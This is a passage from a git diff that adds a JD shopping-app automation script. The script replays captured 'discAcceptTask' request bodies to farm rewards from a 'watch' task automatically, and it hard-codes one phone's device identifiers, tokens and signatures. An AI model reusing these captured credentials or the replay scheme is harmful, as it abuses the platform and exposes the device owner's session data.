RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/activity/jd_watch.js b/activity/jd_watch.js new file mode 100644 index 0000000..94083c9 --- /dev/null +++ b/activity/jd_watch.js @@ -0,0 +1,416 @@ +/* +发现-看一看 +活动结束时间未知 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +脚本已内置需要抓的各40个包,但还建议自行抓包使用。 +使用 Charles 抓包,使用正则表达式:functionId=disc(AcceptTask|DoTask) 过滤请求 +选中所有请求,将所有请求保存为 JSON Session File 名称为 watch.chlsj,将该文件与jd_watch.js放在相同目录中 +使用手机抓包,将functionId=discAcceptTask的请求填入acceptBody,将discDoTask的body填入doBody +云端使用:将所抓的两种包使用@符号隔开后,分别填入到WATCH_ACCEPTBODY、WATCH_DOBODY环境变量 +============Quantumultx=============== +[task_local] +#京东看一看 +10 9 * * * jd_watch.js, tag=京东看一看, enabled=true + +================Loon============== +[Script] +cron "10 9 * * *" script-path=jd_watch.js,tag=京东看一看 + +===============Surge================= +京东看一看 = type=cron,cronexp="10 9 * * *",wake-system=1,timeout=3600,script-path=jd_watch.js + +============小火箭========= +京东看一看 = type=cron,script-path=jd_watch.js, cronexpr="10 9 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东看一看'); +let acceptBody = [ + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240304968%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6e2542bc745427327751374bafb0ae9f&st=1608135453301&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232107521%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=f1e01b42473e124f529b34d3735dd8cd&st=1608135468216&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239958722%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=30a2d1a585cd96bf57e95aef4165243f&st=1608135483804&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22236677182%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=367aa97b9a7b3f2c655fd5fe06fcd6e8&st=1608135497273&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238431608%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=528497aa9b9b3d932a889878b1bde4bd&st=1608135517143&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241148628%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7fa66f4476ee64d6085e472882b6a2ae&st=1608135530948&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239304423%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c96cdb81d78ce1863e4f8f04de9ab02d&st=1608135545789&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239883460%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=94024b2f8b9601b287eb892b77a8d664&st=1608135560829&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240083804%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fdf5ae7ba7b94629ba7c2b80e2fbdb9f&st=1608135574998&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240424814%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=39272f2f00f8bef1907dfe4cd6d6bd2b&st=1608135588583&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241354811%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2bf2bf47ea7372328e7d5e86db706a7c&st=1608135602797&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239763353%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fe03d9b6a1d711b9c16956a2a2eccc4c&st=1608135616512&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239887467%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4dd106e346bc57c4d5f8f5d2094b8ca4&st=1608135633772&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911566%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=78041fe3337060c1c6dc93f87828b0f2&st=1608135656081&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239209307%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1c56c633ea8664a1254a615cb9e08608&st=1608135674705&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232756870%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=005a17ff4b97e822c5ba0f4ad82e82a6&st=1608135691877&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239906757%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=aaef3fdea5bffafe30c5a8038e924ea2&st=1608135705696&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238055250%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=5a7f7629dcf9714cf849eb7c198e75d4&st=1608135719481&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911025%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bc5d52bc1ae461b861efdc0e80b53fb9&st=1608135732696&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + 